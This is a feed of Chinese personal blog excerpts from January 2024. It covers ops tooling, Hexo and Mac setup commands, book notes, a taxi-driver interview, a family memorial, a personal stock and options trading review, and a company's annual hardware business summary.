- 博客 二丫讲梵 2024-01-21 06:44:14如要阅读全文，点击标题跳转。我想，我应该是一个热爱运维这个领域的人，每天抱着 Mac 电脑网上冲浪，学习就是最幸福的事情，在这些冲浪的过程中，认识，了解，掌握了太多优秀的项目，有很多项目，对我而言，在对应场景的时候都可以调度出来。但对于运维领域之外的人，事实上在面对一些运维专项需求的时候，往往会一头雾水，这也是我萌发建立此项目的一个引子。现在，经过大约两周的下班后的折腾，终于发布了。在制作项目之前，我还花了不少的时间，阅读了 yaml-readme 的源码，并进行 fork 改造，专门为此项目定制了许多的功能，从而能够让这样一个模块儿化分布的，便于协作的内容，基于 GitHub Action 来自动生成。现在，项目已经吸引两位同仁协作，其中一位来自台湾的朋友，已经协同贡献了好几十个项目。这个项目还处于很早期的阶段，期待更多仁人志士参与进来，除了贡献内容，修复错漏之外，也可以对内容呈现形式等提交建议。运维领域，如此广大，在每一个细分类别中，都有许多先行者将心血转化为开源项目，而这个项目，就是希望能做一个这类项目的合辑。不论你是做运维的，还是其他的，只要在技术领域，那么这个经过精心挑选并分门别类的项目，都将会是你的一册宝典。
- 博客 二丫讲梵 2024-01-19 06:39:52如要阅读全文，点击标题跳转。学习周刊-总第142期-又有两款开源的类似postman的管理工具
- 博客 DIYGod - 写代码是热爱，写到世界充满爱! 2024-01-18 20:50:37Markdown 是一种广泛使用的轻量级标记语言，允许人们使用易读易写的纯文本格式编写文档，也是 xLog 主要使用的文章格式，本文就以 xLog Flavored Markdown 为例来说明如何优雅地解析一个 Markdown 文档
- 博客 Jiajun的编程随想 2024-01-16 08:00:00《读《为什么学生不喜欢上学》》我喜欢学习和探索，更喜欢学习自己是如何学习的。这本书就是“元认知”类型的：学习自己是如何学习的。以下为摘录和我的归纳。- 人天生有好奇心，想要探索不知道的东西。但是人并不是天生就喜欢思考，相反，大脑会避免思考。因此，每一个阶段，它能思考...
- 博客 西秦公子 2024-01-16 00:01:57在 2021 年之前，我是没有驾照的，所以在 2021 年之前，我的旅行基本上出行便是靠走、公交地铁或者是打车 […]
- 博客 西秦公子 2024-01-15 23:12:29作为一个非典型 i 人，我因为电池容量极大，导致尝尝被人认为是一个 e 人。但坦白来讲，我真的是一个 i 人。 […]
- 博客 唐巧的博客 2024-01-15 14:24:19
最近看到一个新闻，OpenAI 的 CEO Sam Altman 结婚了，对象是另一个男人。
我想借此机会谈谈我的看法：我明确支持 LGBT。
现代的相关研究其实已经了解到，同性恋其实是一种基因上的特点，大概世界上有 1% 左右的人会因为基因的原因喜欢上同性。就像命中注定一样，他们看到同性会像我们看到某些异性那样：被吸引，有感觉。
如果这是天生的，同时对社会并没有带来伤害，那么我们就应该尊重他们的基因。就像我们尊重各种因为基因不同而在肤色、性格、外表上产生不同表现的其他人类一样。
相关的法律其实应该为 LGBT 人群开绿灯，保证他们在生活和就业上不被歧视，也应该在婚姻上给予他们相关的法律支持，让他们能够正常组建自己的家庭，通过领养等方式抚养自己的孩子。
这样的社会，才足够和谐。
- 博客 西秦公子 2024-01-14 20:53:20简评：确实恶心，就这样。 经常运动会对心脏产生什么影响？ 腰太粗会增加患心脏病的风险吗？ 马桶圈和电脑键盘，哪 […]
- 博客 胡涂说 2024-01-14 20:05:00517
- 博客 maxOS 2024-01-14 19:19:50时间的尽头仿佛是一个巨大黑洞，吸引着我们每一个人，越靠近黑洞，我们所感受到的时间流逝就更缓慢。2023 年也思考了很多，现在回头去看，可以总结为 2 点：第一是关于「不确定」；第二是关于「对未知的恐惧」；其实还有一点是关于「连接」，但我对此还知之甚少。
- 博客 西秦公子 2024-01-13 23:32:08心智健康与社会关系 自下而上建立的等级结构 保持新手心态 服从是创造的前提 人格等级与转变潜能 以故事指引人生 […]
- 博客 太隐 2024-01-12 18:20:06精神分裂症的春天到了
- 博客 西秦公子 2024-01-12 11:33:15在入住杭州「菲住不渴」酒店时，其全屋智能让我感受颇深，整体体验也不错。但在入住的过程中，我也发现这个酒店中的一 […]
- 博客 笨方法学写作 2024-01-12 08:00:00
一流创造者的工具没有秘密，是的，他们往往只用最简单的工具。
纳博科夫一大早就起身工作。他总是在卡片上写作，之后逐步誊写、扩写、重组，直到这些卡片变成他的小说。
纳博科夫先生的写作方式是先在索引卡上写短篇故事和长篇小说，在写作过程中时不时打乱卡片的顺序，因为他不想按照情节发展的顺序写作。每张卡片都会重写很多遍。写完后，卡片的顺序也就固定了。
《巴黎评论》问道：你能就你的工作习惯说点什么吗？你是根据预先制订的计划表写作吗？你会从一个部分跳到另一个部分，还是从头到尾地顺着写？
纳博科夫回答说：我写的东西总是先有个整体布局。然后像一个填字游戏，我碰巧选了哪里就先把那里的空填上。
这些我都写在索引卡片上，直到完成全书。我的时间表很灵活，但是对于写作工具我相当挑剔：打线的蜡光纸以及削得很尖、又不太硬的铅笔，笔头上得带橡皮。
- 博客 二丫讲梵 2024-01-12 07:56:12如要阅读全文，点击标题跳转。学习周刊-总第141期-一年一度的23年博客届春晚
- 博客 西秦公子 2024-01-11 11:10:12最近去杭州住了一下阿里的「菲住不渴酒店」，感受一下阿里巴巴对于未来酒店的定义。其中有好有坏。这里简单描述一下我 […]
- 博客 西秦公子 2024-01-10 10:42:00我给比我更优秀的经营者投资 复利的秘密 固定收入的金钱具有强大力量 风险最大的时候也是风险最小的时候 对待他人 […]
- 博客 唐巧的博客 2024-01-09 17:50:20
最近出差较多，1 月 4 日回北京，当时到机场的时候已经是晚上 12 点了。我用滴滴试着打车回家，立刻叫到了车，正好我在飞机上睡了一路，不太困，就和司机攀谈起来。
作息
司机师傅是专门跑夜车的司机。他的作息是这样的：
- 早上 10 点-下午 5 点，睡觉。
- 下午 5 点起床，吃晚饭，然后跑晚高峰。
- 下午 10 点以后，专门跑机场单。
- 半夜 11-1 点，看准跑车间隙合适的时候，吃第二顿饭。
- 凌晨 2-5 点。在车上小睡一觉。
- 早上 5 点-10 点，跑早高峰。跑完早高峰吃第三顿饭。吃完饭后睡觉。
问题
我问了一些问题：
问：车上睡觉冷怎么办？
答：全程开空调，但是要把车窗留个缝，防止一氧化碳中毒。
问：半夜找得到吃的吗？
答：有专门的馆子，跑车的师傅都知道。我们跑车的有微信群，可以交流这些信息。
问：为什么专门跑夜车？
答：因为晚上里程费高而且不堵车，跑习惯了比白天挣得多。
收入
问了一下他的收入情况，他说到手大概 1 万左右。主要是需要跑早晚高峰来挣积分，积分高的司机在接单的时候才可以优先派单。
所以他跑早晚高峰其实不挣钱，因为堵车，主要是为了积分。因为积分是按单算的，所以他早晚高峰喜欢接小单，这样积分赚的快。家庭
家里有两个娃，大娃读大四，小娃在读高中。老婆没工作在家带娃，钱挣来基本上都给家里寄回去了，供老婆孩子生活和上学。
大娃在山东上学，毕业了想留在当地，大娃觉得北京的生活成本太高，北京租房一个一居室得 5000 左右一个月。山东那边租房一个月几百块钱，没啥生活压力。竞争
现在滴滴司机竞争很大，以前在机场都不用等，现在平均要等 1 小时左右才能接到客，钱都给机场交停车费了。
据他介绍，疫情之前北京滴滴司机有 22 万，疫情之后增加到 55 万。很多做小生意的、打工的因为疫情公司倒闭做不下去了，转而开滴滴挣钱，造成现在接单困难。最后
我们现在处在一个变化的时代，出口和基建的红利慢慢褪去，普通人生活的压力越来越大。
每一个人都不容易，愿国家的经济慢慢好起来。以上。
- 博客 西秦公子 2024-01-09 01:38:00最近这几天，大量的南方游客涌入哈尔滨，在哈尔滨吃喝玩乐。在这个过程中，当地人对于南方游客的爱称引起了我的注意 […]
- 博客 DIYGod - 写代码是热爱，写到世界充满爱! 2024-01-08 22:23:18<2024> 发小觉得今年经历了巨大的变化，从苏格兰搬到新加坡，从未婚到已婚，从一家两口变成了一家三口，但我觉得都在预料之中，所以感觉还算很平稳
- 博客 二丫讲梵 2024-01-08 07:59:28如要阅读全文，点击标题跳转。我的2023年年终总结。又是一年轮替时，我们的生命被年切割，用于测量过往一个阶段的得失，而随着年轮地滚动，不管得失与否，能否合理解释自己的遭遇，能否合理认识自己的遭遇，能否合理超越自己的遭遇，都成为我们年龄递增的首要任务。许多人迷迷糊糊，光阴虚度，尽管眼见已二三十岁，却仍旧活在生活之下，即便多活几十年，也不过是一种窘困，愁苦，凡庸的延伸，着实冤枉。
- 博客 唐巧的博客 2024-01-07 21:56:08
这次重装 M2 的电脑，Hexo 在设置的时候报很多警报，一些依赖库因为太旧有安全风险，查了一下 Hexo 有最新发布的 7.0 版本，于是打算整体迁移一下。
安装 Hexo 7.0
首先 Hexo 的安装可以用 brew 了。使用
brew install hexo安装，安装好之后 Hexo 在/opt/homebrew/Cellar/hexo/7.0.0下。使用 Hexo 的如下指令完成建站
hexo init blog
cd blog
npm install安装插件
建完站之后，把之前的文章都复制进去，在 themes 目录下同样把 Archer clone 下来：
git clone https://github.com/fi3ework/hexo-theme-archer archer
然后需要在 blog 根目录下安装以下插件：
npm install hexo-deployer-git --save
npm install hexo-generator-json-content
npm install hexo-generator-feed --save
npm install hexo-wordcount除此之外还需要一些配置，修改
_config.yml，增加如下内容：jsonContent:
meta: true
pages: false
posts:
title: true
date: true
path: true
text: false
raw: false
content: false
slug: false
updated: false
comments: false
link: false
permalink: true
excerpt: false
categories: true
tags: true并且将
_config.yml的主题为 Archer：theme: archer
最后，复制 Archer 主题目录下的
_config.yml到 Hexo 根目录，并命名为_config.archer.yml。删除 Archer 主题目录下的_config.yml文件，或将它重命名为_config.yml.template，避免配置合并或冲突。这次 Archer 也更新了很多，所以看起来升级是必要的。详见：https://github.com/fi3ework/hexo-theme-archer
发布
因为我在
config.yml中配置好了deploy信息：# Deployment
deploy:
type: git
message: "Site updated: {{ now('YYYY-MM-DD HH:mm') }}"
repo:
github: git@github.com:tangqiaoboy/tangqiaoboy.github.com.git
branch: master日常操作主要是以下几个：
#发布新文章
hexo new 文件名
#预览
hexo s
#生成文件到 public 目录
hexo g
#发布到 Github Pages
hexo d需要注意，如果改了文件发布的话，要先
hexo g，然后再hexo d。以上。
- 博客 oldj's blog 2024-01-07 11:40:00
爷爷生于 1924 年，今年是爷爷诞辰 100 周年。
1
爷爷受过良好的教育，解放前当过老师，在山村小学教书育人，也曾一腔热血，保护过被敌人追捕的游击队员。解放后，爷爷先在县法院工作，后转向水利、航运方向，参与主导了很多复杂的工程，并逐渐成为这个领域的知名专家。
1970 年代，云南省开发澜沧江，爷爷以专家身份被聘为技术指导。那个年代的工作条件非常艰苦，在一次位于西双版纳的工程作业中发生了意外，奋战在一线的爷爷不幸负伤致残，从此不得不离开热爱的事业，提前退休回到家乡。
2
从我有记忆起，爷爷就是一个整天坐在客厅藤椅上的老头，很瘦，很慈祥，从未见他发过脾气，对谁都很和蔼。
爷爷的伤在腿上，这个伤让他失去了自由行走的能力，因此他只能天天宅在家，极少出门。
爷爷有一大箱子书，我曾好奇地翻过，但那时我还不识字，只依稀记得书中有很多复杂的图表。
有时会有一些同样头发花白的人来看爷爷，爷爷会很高兴地与他们聊很久。
没有客人时，爷爷会看书看报，还会教我唱歌，但更多的时候他就那么静静地坐在那儿，不知是在回忆还是思考。
3
也许是长年的坐卧损害了健康，爷爷去世得很早。
爷爷弥留之际被大伯接了过去。有一天母亲带我去大伯家看爷爷，我进了屋，看见爷爷正躺在病床上，见我进来，就睁大了眼睛看向我。
年幼的我还不理解死亡的含义，只觉得爷爷睁大眼睛的样子很有趣，还以为他马上就要像以前一样逗我玩了，于是嬉笑着跑了出去。
却没有意识到，那就是我和爷爷的最后一面。
4
爷爷虽然脾气温和，却是家里的定海神针。他去世一年之后，我们举家搬迁去了外省，从此故乡对我而言成为了遥远的回忆。
5
多年后的一天，回到老家大伯家小聚，期间大伯娘指着我感慨地说：“其实他最像爹。”
回想起爷爷的照片，我这才发现，原来不知不觉间，我竟真的有了几分爷爷的样子。
- 博客 Jiajun的编程随想 2024-01-07 08:00:00《OpenAI Prompt Engineering 摘录和总结》这篇文章是指导如何写出比较好的prompt，本文是我的摘录和总结。原文链接：https://platform.openai.com/docs/guides/prompt-engineering/strategy-write-clear-instructions...
- 博客 唐巧的博客 2024-01-07 00:04:25
因为工作的电脑使用满 4 年，所以周末领到了一台新的 M2 的 MBP。考虑到新电脑 CPU 不太一样，所以我没有使用迁移助手，尝试重装了一遍电脑。
整个安装下来最麻烦的就是开发者环境，基本上无法正常连上外网下载各种开源软件，最后我灵机一动搜了一下，才发现清华大学上有不少开源软件的镜像。这样大大加快了我安装软件的速度。
整理了一下自己的生产力工具，现在做业务之后，基本不写代码了，所以偶尔写博客或者查资料有这些软件就够用了：
iTerm2
拥有一个更好的 Terminal 操作界面： https://iterm2.com/
Home Brew
用镜像安装 Home Brew:
- 清华镜像：https://mirrors.tuna.tsinghua.edu.cn/help/homebrew/
- 阿里云镜像：https://developer.aliyun.com/mirror/homebrew/
安装好后，可以用
brew doctor检测一下。有了 Home Brew 之后就可以装我需要的一些环境：
brew install node
brew install hexonpm 的资源比较慢，安好 node 之后也把镜像设置一下：
npm config set registry http://mirrors.cloud.tencent.com/npm/
Oh My Zsh
Oh My Zsh 可以利用镜像安装：https://mirrors.tuna.tsinghua.edu.cn/help/ohmyzsh.git/
安装完可以设置一下 autojump 插件
再把 macos 插件打开。
Sublime Text
我主要用 Sublime Text 来写博客。
配合下面的设置可以方便在命令行中调用 Sublime Text。
export PATH="/Applications/Sublime Text.app/Contents/SharedSupport/bin:$PATH"
Alfred
在安装软件的时候，我顺便花 30 美元把我的 Alfred 升级到了 5.0，试了一下它的 Power Pack 提供的 Snippets 功能，比 Dash 还强大很多，于是果断把 Dash 换掉了。麻烦的是我自己原本整理的 Snippets 无法方便迁移，只能一个一个复制，不过也当再次整理了，因为很多 Snippets 没用了。
Alfred 的 Snippets 也支持利用 Dropbox 同步。
1Password 6
我还在使用之前买的 1Password 本地一次性付费版本，不用每月续费，配合 Dropbox 同步密码。
Dropbox
离不开它，所有重要工作资料都用它来同步和备份。
Surge
有了 Surge，Dropbox 才能正常工作。
ImageOptim
ImageOptim 可以帮助我压缩博客的图片。
- 博客 太隐 2024-01-06 17:20:47听听自己心里的声音
- 博客 太隐 2024-01-06 13:24:20知章骑马似乘船，眼花落井水底眠
- 博客 Randy's Blog 2024-01-05 08:00:00536
- 博客 二丫讲梵 2024-01-05 07:08:08如要阅读全文，点击标题跳转。学习周刊-总第140期-两个与docker相关的开源项目
- 博客 Randy's Blog 2024-01-04 08:00:00538
- 博客 笨方法学写作 2024-01-02 08:00:00
你刚刚进入社会时，经过成长断裂，迷茫无措。为什么呢？
皆因你过去的学习经历——
- 依赖于应试教育的填鸭式强迫式学习，没有培养自主学习的习惯和动机。
- 社会环境和家庭没有形成终身学习的价值观和氛围，缺乏鼓励。
- 进入职场后，工作占据大部分时间和精力，导致你驱动和时间都严重不足。
很多人缺失人一生中最强大的能力：自学。在瞬息万变的社会中，自学是最核心的能力。教育体系传授的知识有限，而自学可以持续终身。自学训练独立思考、发现和解决问题的能力。这种思维模型远远重要于特定知识。
若要推荐一位自学榜样，必须有王云五。
王云五一生身份证的学历只有「识字」，几乎没有接受过正规教育。却成为大学教授，教过胡适。指导论文无数，被称为「博士之父」。曾任商务印书馆编译所所长，担任过国民政府经济部长、财政部长。还编撰过《王云五大字典》，成就斐然，著作等身。
王云五是怎样做到的呢？他曾在《我怎样读书：王云五对青年谈求学与生活》中谈及使用卡片学习自修做读书笔记之方法。
现整理出相关用法，大家可以参考学习： 简化版实操有效的卡片使用技巧：王云五的方法：
- 卡片记录要点：制作卡片时，在阅读遇到重要内容，用卡片记录下来。内容包括在卡片上标注原书或文章的标题、具体页数。分类排列卡片，按照主题或标题顺序排列。
- 构建个人知识库：积累卡片，形成一个庞大的卡片集合。通过卡片快速找到相关书籍中的具体信息。日常阅读时随手制作和整理卡片。
- 适用不同阅读方式：略读或摘读，对于快速阅读的书籍或文章，使用卡片记下重要段落。精读时，即使是深入阅读的书籍，也可以用卡片记录关键信息。
- 高效检索：通过卡片快速索引已读过的内容，节省时间。方便撰写和研究：制作论文或文章时，卡片帮助迅速收集所需资料。
- 灵活使用：个人化卡片的格式和分类方式，根据个人习惯调整。适应不同需求：不论是学习、写作还是日常学习，卡片都是有效工具。
数字工具和网络科技为我们提供了更多新的可能性。我们可以在继承王云五卡片法精髓的基础上，用当代数字方式配合实践，使自学事半功倍不再成为难事。
- 博客 forecho 的独立博客 2024-01-02 00:14:00
引言
2023 这糟糕的一年终于要结束了，按照惯例，每年来一次投资年终总结，来看看这一年的投资表现如何。这是这系列的第五篇文章，前四篇文章：
加一个风险提示：本篇文章仅代表我的个人观点，不构成与其他人相关的任何投资建议。在作出任何投资决定前，投资者应根据自身情况考虑投资产品相关的风险因素，并于需要时咨询专业投资顾问意见。
PS：下文中的今年是指 2023 年。
基金 && A 股
概况
今年基金收益表现还不错，总体收益 7% 左右，去年总体在收益 -13% 左右。
今年基金之所以不错得益于我的一个重要的决策，3 月份底清仓了支付宝基金，4 月底清仓了京东金融上面的国内基金，保留了几个美国基金。
全部亏损割肉了，年底回顾，清仓之后国内基金都跌了 30% 左右，而美国基金都涨了 30% 左右，这个决策是非常正确的。
去年就说了要自己去玩 A 股，刚开始是拿一点小钱去试试水，后面不断加仓，变成大仓位了，年初疫情结束，而且有一波 AI 行情，准备大干一场，结果被大干了一场，AI 行情来的快，去的更快，而我第一次玩 A 股，还是有很多东西不懂，亏损迟迟不肯割肉，一直到最后 (7 月) 实在亏太多，全部割肉离场反思。事后看还好当时割肉了，不然亏的更多，下半年 A 股更是惨。
PS：不知道上面账户的账户盈亏率怎么计算的，后面我账户的余额全部取出来了，这个计算的盈亏率可能就不准确了，不过确实亏很多，一年白干了。
调整一个月之后，8 月我又准备了一笔小资金重新入场，准备继续探索 A 股的玩法，到目前为止这个小额账户也没赚到什么钱，也没找到稳定的方式，但是好消息是也没亏钱，只能说目前的策略还不够稳定，还需要继续探索。
总结
基金收益还不错，全靠 4 月之前清仓了国内的基金，保留了纳指和标普科技基金的重要决策，而且后面我还在不断定投。
A 股年初没按照预定轻仓玩，而是重仓玩，导致亏损严重。也正是这次亏钱，让我认识到了自己的不足，然后去学习了股票的技术分析。并且输出了 6 篇技术分析的文章，也算是一种收获。
明年继续定投纳指基金，继续轻仓探索 A 股的玩法。
美股
概况
今年美股收益表现还不错，总体收益 40% 左右，但是去年亏太惨，所以目前总收益还是亏钱的。
今年美股很有意思，5 月份到 7 月底一路上涨，但是到了 8、9、10 三个月，一路下跌，然后又开始暴力反弹。真是一波三折，不过最后还是赚到了钱。只不过连跌三个月，到后面刚开始反弹的时候都没敢重仓，而且账户资金在减少，所以指数回来了，而且破了新高，但是我的账户收益却没能回到新高，这是我今年最大的遗憾。
PS：还有一个盈立证券的小账户，应该是有翻倍了，他们的统计做的毕竟差，没办法一目了然看到清晰的收益率。
几个错误
今年玩美股，我总结了自己犯过的几个错误：
喜欢抄底
上半年有一波美国银行暴雷时间，我抄底了 SI，以为银行不会轻易倒闭，结果还是我见识太少了，银行后面真的倒闭了，而且股票还退市了，这次银行倒闭风波，我抄底了 SI、SCHW、SIVB（还好轻仓），SI 和 SIVB 倒闭退市了，亏不少。SCHW 虽然没倒闭，但是在底部震旦了很久，我买的期权也是爆亏。
解决方案：时刻提醒自己：
- 绝不要在股价暴跌时因为觉得股票便宜而买进。在持续的卖压下，你会发现股票会变得更便宜
- 绝不要在下跌趋势中买进股票。
- 绝不要持有处于下跌趋势中的个股，不论它的市盈率有多低。几个星期后，当更低的股价出现时，你会发现股价下跌的原因。
与市场较劲
SMCI 上半年一路大涨，后面有一次财报，指引不如预期，财报前我买了一张 CALL，财报后大跌，如果这个时候我止损离场，也不亏很多钱，但是我偏偏选择了与市场较劲，觉得跌的太多了，应该会反弹，于是分批抄底，仓位也越来越大，结果 SMCI 在底部调整了很久，我的期权也被消耗完了，最后小亏变成了大亏。
解决方案：市场永远是对的，不要与市场较劲，不要和趋势作对，我们小散户唯一赚钱的方式就是跟着趋势走。
重仓赌财报
多年来我一直持仓特斯拉，正股和期权都有，三次财报我都持仓过夜，而且第三次财报的时候我还是重仓赌，买了大量的 CALL，当时我认为：
- 前面两次财报都是大跌，这次应该不会再跌了吧，事实上第三次财报更惨，老马不但不安慰投资人了，还说了一些不好的话，导致股价大跌。
- 市场预期很差了，超预期是很容易的事情，只要超预期就会大涨，事实上，当时上季度的数据还不错，只是下季度指引不好，老马消极看到了未来，导致股价大跌。
7 月底的时候我账户曾有 300% 多的收益，当时市场以为马上要进行降息了，但是后面 CPI 反弹，然后开始极速下跌，而我当时急于回新高，所以重仓赌财报，结果亏了很多的钱，账户一度亏到了接近 90% 了。还好后面有一波大反弹，我才勉强跑过了纳指。
除了特斯拉我还重仓赌过 AAPL 和 META 财报，都是巨亏 😭。在没有看到任何信号的情况下赌了，没信号完全是瞎赌，跟着信号赌至少胜率高一点，
解决方案：
- 不要重仓赌财报，只能小仓位赌，小赌怡情，大赌伤身。
- 等财报之后出结果，再追也来得及，不要追求买在最底部。
- 赌财报之前一定要看到信号才参与，不要盲目参与。
不知道止盈/止损
UPST 上半年有一波大行情，我确实是抓住了，但是最后开始跌的时候我没有走，而是继续持有，好不容易赚的钱，几天的大跌就亏完了。
这种情况不止出现过一次了，有时候赚了钱，但是不知道止损/止盈，最后做了过山车，很没意思。总想吃到最后一口肉，只会害了自己。
唯一一次比较成功的是 MARA 跑得成功，虽然赚的钱后面吐出去了一部分，但是总体还是赚钱的就行。
解决方案：不会止盈的人，永远不会赚到钱。不要求自己卖在最高点，下跌利润回吐，保住剩下的利润就行。
总想吃到最后一口肉
不管什么股票，都不会一直涨的。根据趋势交易理论，每个股票都有四个周期，上升、下降、上升、下降，所以我们要学会抓住上升趋势，当股票横盘的时候，会变得很难赚钱，我们要学会抓住上升趋势，赚到钱就走人。
NVDA 算是今年最成功的一只大科技股票了，其实我也通过它也赚了不少钱，但是总想着会一直涨，不知道满足，后面到了第三阶段，利润回吐了很多。
解决方案：不要总想着吃到最后一口肉，根据趋势投资理论，我们不应该长持任何一只股票，我们要做的就是抓住上升趋势，赚到钱就走人。
看不懂趋势
CLSK 我买了之后，股票横盘了很久，有一天突然突破了，我回本了，不仅没有加仓，而且还立刻卖了。当时想着拿了这么久，终于回本了，我要卖了你。现在想来好好笑🤣，发现以前完全不懂炒股，真不知道以前炒了那么多年的股票，都是怎么炒的。
解决方案：突破正是买入的最好时间，不加仓就算了，千万不要卖出。
持仓不动
价值投资并不意味着买入之后就不动了，股票涨了开心，跌了就安慰自己说是长期投资，其实这样是不对的。有一个账户我 40 买的 NIO，到最后一直没卖，一直跌到十几，亏损重大，最后还是割肉了，这里犯了一个大错：
- 股票跌了，安慰自己长期投资，不去研究基本面的变化
- 不懂技术分析，不知道已经跌破趋势线了，还在持有
解决方案：跌破趋势线，也要及时割肉止损。
收获
总结了上面那么多错误，说说今年的收获：
趋势交易
可能是巴菲特太有名了，我们投资股票的时候，多多少少都会知道巴菲特，都会受到他价值投资理念的影响，以前我觉得技术分析、量化交易都是骗人的，只有买入股票一直持有才是最正确的。
但是最近这几年的过山车让我质疑了，我发现我不适合价值投资，我认为：
- 我们散户没有巴菲特的资金体量，也没有他的信息渠道，所以我们很难做到他那样的价值投资。
- 价值投资也没有那么简单，也是要每个季度去分析持仓的公司基本面的，而且我们散户在获取信息的时候，是没有任何优势的，所以我们很难做到价值投资。
今年受到一位网友的影响，我开始接触趋势投资，不同于价值投资，趋势投资太适合散户了，我们只要学会技术分析，不需要太关注基本面、消息面，也不用去学怎么读财报，只要学会技术分析，就可以在股票上面赚到钱。
对于趋势投资，我还在不断的学习中，也在不断的实践中，有在看 YouTube 视频，也在看视频，等有了一定的经验之后，我会写几篇文章来分享一下的。
期权信号
今年我开始使用一些付费的期权工具帮我赚钱了。刚开始觉得贵，但是试用下来发现还挺不错的，能帮我赚到钱，只要策略好的话，会赚得更多。不然我 7 月底的时候，也不会赚到 3 倍的收益。后面账户从亏 90% 到赚 50% 也是靠我自己的策略，发现期权异常订单，然后跟单赚钱的。主要是抓这几种信号：
- 财报信号：财报前大单期权，当然也不会保证一定对，需要结合一套规则，是可以赚到钱的。
- 生物制药信号：今年成功抓到了不止两个生物制药的信号。年中的 NVO（火了几个月的减肥药，在公布成功之前我有看到大单的 CALL），另外也有 CYTK、EYPT。当然也不是所有的异常期权订单都是对的，有时候也是反向的，所以比较适合期权操作，对了就几倍的收益，错了期权就归零。跟赌财报有一点相似。
- 收购事件、大事件：成功抓到了 SPLK、X（美国钢铁）的收购事件，收购前有大单买入 CALL，跟单赚到了好多倍的收益。
经过接近半年的实践，我的期权策略不断的优化，越来越好用了，如果你对此感兴趣可以看 轻松实现期权交易盈利 这篇文章，我开了一个付费群，我会给付费用户提供我抓到的信号，大家一起赚钱。
选股器
以前买股票都是看新闻推送的，很被动，也很迟了。很多股票都是涨起来了才会被报道，那个时候已经不适合买入了。学了技术分析之后才知道选股器的好用，不要总是只交易你熟悉的股票。
由于我从事互联网工作，所以前几年我主要投资互联网科技、半导体股票，但是 22 年它们也是跌的最惨的一年，所以 22 年我账户基本亏完了，都是靠不断的充钱和健身才熬过来的，要是早一点学技术分析，早一点使用选股器，我也不会亏那么多钱。
机会是留给有准备的人
玩美股有 5 年多了，很多股票我都很熟悉了，比方所这次 AI 行情、降息之后什么股票会暴涨，我都有准备了，所以我知道该关注什么股票，特别是看到信号的时候我就敢重仓买入。
机会是留给有准备的人，只有重仓才能赚到大钱，前提是你对它了解有信心，所以功课还是要多做的。今年下半年全靠重仓 AFRM、和 IWM 赚到了大钱。
总结
今年美股账户坐了一回过山车，不过最后还是赚到钱了，而且最重要的是今年学会了很多，接触了趋势投资，学会了一点技术分析。技术分析是有用的，特别是对于美股市场，通过自己的技术分析，我已经成功过几次了。
接下来我会继续学习趋势投资，也会继续学习技术分析，希望明年能赚到更多的钱。
港股
今年港股比 A 股还惨，流动性严重不足，而且还有政治风险，我今年上半年就很少玩港股了，8 月份之后就彻底清仓没玩了。美股已经足够了。什么都玩只会什么都亏。
最后
今年年底再次失业了，这次我打算全职做交易了，以前从来没想过这条路，但是现在觉得自己可以试试，我有信心能做好。我相信今年是我投资历史上的一个转折点，我会越来越好的。明年的年终总结，希望能有更好的收益。
社群
我们有投资交流群，免费加入，大家抱团回本，一起赚钱：
- Telegram 交流群：韭菜回本群 欢迎加入。
- 博客 二丫讲梵 2024-01-01 18:53:16如要阅读全文，点击标题跳转。npm install时报错Failed at the node-sass@4.14.1 postinstall script的问题及解决
- 博客 唐巧的博客 2024-01-01 10:09:04
一、工作
硬件研发
今年硬件研发团队主要完成了 斑马思维机 G2 版本的研发上线。这个项目因为供应商的配合度高，所以整体推进得还比较顺利。从最终的售后数据来看，我们的产品品质也是过硬的。
斑马思维机 G1 只能支持 256 张题卡，在发布的时候，我们把这些题卡都做成了思维类的题卡。但我们很快意识到，内容的扩展能力在竞争中是非常重要的。我们在斑马思维机一代上因为判断失误，没能预留足够多的题卡升级能力，导致我们不得不用一款新版本的机器来提供扩展能力，这也会后续售卖中的版本切换增加了不少挑战。
斑马思维机 G2 的各项功能都经过了仔细的考虑，比如要不要上 Wifi，如何升级，电池和喇叭的选型，未来内容的扩展能力，出海的能力，预留的存储空间等等。从现在来看，我们还没有发现产品侧的遗憾。
斑马思维机今年在产品侧也荣获了很多国内外的玩具类大奖，比如韩国的 K Design，美国的 MCM 等。
如果说硬件研发有什么遗憾的话，就是我们在新品的立项上还是没能想出足够多的可落地创意，这使得我们的玩教具业务在增量上主要还是依赖于斑马思维机和斑马拼音机这两个品。
斑马在玩教具业务上的思路与今年读的 《华与华方法》 书里讲的一致，我们力求站在企业社会责任和用户需求角度，思考如何做出具有创新性的硬件产品，希望能够结合自己在教育、互联网、人工智能以及硬件上的积累，提供独特的产品定位、希望做到总成本最优和竞争对手难以模仿。
硬件售卖
今年硬件售卖的成绩还是可以的，爆品斑马思维机累计做到了 30 多万台的销量和 2 个亿的销售额。我们也走出了一条以直播为主渠道，与达人深度合作，带动天猫、京东销量的售卖方式。
海外售卖
今年斑马思维机和斑马口算机都出口到了韩国，出海的工作真的挺难的，现在只能说还在投石问路，积累认知的阶段。希望 24 年有所产出。
二、读书和写作
2.1 读书
今年读了以下 8 本书：
- 消费产品的从 0 到 1 - 读《详谈吴骏》
- 读《第一性原理》
- 米其林收割机 - 读《详谈张勇》
- 用营销来建立领先势能 - 读《详谈杨浩涌》
- 现实的世界 - 读《我在北京送快递》
- 读《华与华方法》
- 读《价值为纲》
- 理解经济阶段-读《被追赶的经济体》
我个人比较喜欢的是《华与华方法》和《被追赶的经济体》，前者对如何做公司做品牌都有一些启发，后者对理解国内外的经济发展有很大帮助。
2.2 写作
今年除了读书以外，写作上也有一些产出。
首先我把之前管斑马供应链的一些想法整理出来，写了 10 篇供应链笔记，分别是：
- 供应链笔记 (1)：如何挑选供应商
- 供应链笔记 (2)：如何降本
- 供应链笔记 (3)：挑选供应商的核心因素
- 供应链笔记 (4)：如何防止腐败
- 供应链笔记 (5)：注塑成本估算
- 供应链笔记 (6)：计划岗位
- 供应链笔记 (7)：什么时候自己投资建厂
- 供应链笔记 (8)：印刷的环节和成本
- 供应链笔记 (9)：开源岗位
- 供应链笔记 (10)：采购岗位
另外，今年 9 月，我在个人微信公众号 “ 唐巧 “ 写了一篇 《为承德程序员发声》 的文章，当天阅读量超过了 50 万次。这是我生平中第一次写出 10w+ 阅读量的文章。其实当时网上有很多相关的文章发表，我的文章从标题到内容都很克制，但是却被广为转发，这让我自己也感觉到奇怪，因为一般都是标题党和偏激的文章会更容易被转发。归因起来，我觉得有以下两个原因：
- 我的粉丝大多是互联网行业从业者，收入偏高，更加理性客观，对标题党一类的文章有天然的判断力和排斥感
- 该文章的标题是一个祈使句，转发非常容易被用来代表自己对该行为赞同
